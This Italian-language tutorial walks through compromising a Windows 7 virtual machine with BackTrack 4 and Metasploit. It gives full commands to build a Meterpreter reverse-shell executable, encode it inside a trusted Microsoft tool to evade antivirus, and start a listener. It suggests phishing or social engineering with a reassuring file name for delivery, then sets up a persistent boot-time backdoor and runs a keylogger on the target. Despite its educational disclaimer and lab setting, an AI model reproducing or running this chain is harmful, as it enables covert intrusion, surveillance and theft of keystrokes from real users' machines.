Obiettivo del presente articolo è quello di capire come, sotto certe condizioni, è possibile prendere il controllo di una macchina con sistema operativo Windows 7. È sempre bene ricordare che il contenuto dell'articolo ha fini esclusivamente didattici e che l'accesso abusivo a sistemi informatici è punito con sanzione penale, per cui effettuate tutti vostri test esclusivamente in laboratorio.
Fase preliminare
Per condurre l'attacco utilizzeremo ancora una volta Bactrack 4, con particolare riferimento agli strumenti offerti dal framework Metasploit (ver. 3). I test sono stati condotti esclusivamente utilizzando due macchine virtuali ospitate su un sistema Windows XP SP3, una con Backtrack 4 (IP 192.168.1.1) e l'altra con Windows 7 Ultimate (IP 192.168.1.2) on board. Entrambe le schede di rete sono state settate in modalità "Host only", in modo tale che le virtual machines si vedano l'un l'altra ma siano invisibili al resto del mondo.
Dopo aver lanciato Backtrack, consiglio innanzitutto di effettuare l'update di metaspolit. Per far ciò mettiamo la scheda di rete della virtual machine in modalità "NAT", dopodichè assegnamole un IP statico compatibile con la nostra LAN, per uscire su Internet. Se è presente un DHCP server possiamo anche ottenerlo automaticamente lanciando il comando:
dhclient3
Se il pacchetto dhclient3 non è installato è sufficiente lanciare il comando:
apt-get install dhclient3
Per effettuare l'update di metasploit andiamo nella directory /pentest/exploits/framewor3/ e
lanciamo il comando:
./msfupdate
dopodiché riportiamo la scheda di rete in modalità "Host only".
Fase 1. Generazione dell'exploit
Come molti di voi sanno già, l'exploit è un segmento di codice che, sfruttando un bug o una vulnerabilità, porta all'acquisizione di privilegi o al denial of service di un sistema. Per acquisire il controllo della macchina Windows 7 abbiamo bisogno anche noi di generare
un exploit e "iniettarlo" nella macchina ospite. Generiamo quindi l'exploit che utilizzeremo, lanciando il seguente comando dalla directory /opt/metasploit3/msf3/:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 x > /root/exploit.exe
ove:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444
è la configurazione di base del payload generato dal meterpreter di metasploit. Meterpreter, nome
sintetico per Meta-Interpreter, è un payload avanzato incluso nel Metasploit Framework. Questo comando genera un payload impostando come local host l'IP della virtual machine Backtrack e come local port la 4444, dopodiché lo inietta nel file "exploit.exe".
L'output del comando precedente è mostrato in figura 1
Osservazione. Generato in questo modo però l'exploit potrebbe essere riconosciuto da un software antivirus. È possibile nasconderlo "iniettandolo" in un file .exe fidato. Per ironia della sorte ad esempio si può utilizzare proprio il Microsoft Removal Tool, che è un'applicazione "trusted" e inoltre chiede di essere eseguita con privilegi amministrativi. In questo modo si riduce il rischio di intercettazione da parte di vari AV. Usando il comando:
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= R|./msfencode -c 5 -e x86/shikata_ga_nai -x /root/ -t exe > /root/
si crea il payload senza ancora codificarlo (R) e poi lo si da in pasto al processo di encoding per 5 volte (-c 5), che in questo caso viene effettuato mediante l'encoder x86/shikata_ga_nai (./msfencode -c 5 -e x86/shikata_ga_nai).
Fase 2. Generazione del listener
Ora dobbiamo generare il listener, cioè il processo che si pone in ascolto per creare il canale
con la macchina target. Lanciamo quindi la console di metasploit mediante il comando:
./msfconsole
da msfconsole lanciamo i seguenti comandi in successione:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit
A questo punto il listener è stato creato e si pone in ascolto sul canale, come mostrato in figura.
Fase 3. "Iniezione" del file exploit.exe
Esistono molti modi di trasferire e far eseguire il file contenente l'exploit sulla macchina vittima, la cui trattazione esula (anche per motivi di spazio) dai contenuti del presente articolo. Possiamo però dire che ciò può essere fatto inviando una mail ben forgiata per l'occasione, oppure attraverso tecniche di social engineering, o ancora attraverso tecniche di phishing o altro. Appena l'utente sulla macchina target esegue il file exploit.exe (il nome exploit viene usato solo per fini didattici, è chiaro che si userà un altro nome più "rassicurante") si apre una sessione sulla macchina vittima, come mostrato in figura 3.
Fase 4. Comandi Meterpreter
Una volta ottenuto l'accesso, come è facile immaginare le operazioni che possiamo compiere sono molte, per cui c'è davvero l'imbarazzo della scelta...la prima cosa da fare però è garantirci un accesso di tipo persistente, da utilizzare ogni volta che ci serve. Per fare ciò possimo utilizzare il comando run persistence, il cui output è mostrato in figura:
run persistence -X
Con il comando precedente viene generato un agent che crea una backdoor permanente sull'host target. L'agent partirà automaticamente ogni volta che il sistema effettua il bootstrap (-X). Altre opzioni sono possibili digitando l'help: run persistence -h
Ci sono poi molti altri comandi disponbili su meterpreter, eccone alcuni:
ottiene informazioni sul sistema operativo e relativa versione
sysinfo
ottiene informazioni sulle variabili di ambiente
run get_env
mostra una lista dei programmi installati
run get_application_list
verifica se è attivo il firewall
run getcountermeasure
Soffermiamoci ora sul seguente comando:
run keylogrecorder
come appare chiaro dalla sintassi del comando stesso, viene lanciato un keylogger sulla macchina target, come mostrato in figura 5, che salva tutti i keystrokes in un file di testo.
Andiamo ora sulla macchina target, apriamo il notepad e digitiamo qualcosa, come mostrato in figura.
Per verificare il contenuto del file dopo la "cattura" dei keystrokes, lanciamo da un'altra finestra di shell il comando:
cat "nomefile"
ove "nomefile" nel nostro caso è il file 192.168.1.2_20110315.0548.txt (con tutto il suo path). L'output è mostrato in figura 8, notiamo anche che si "perde" qualche keystroke.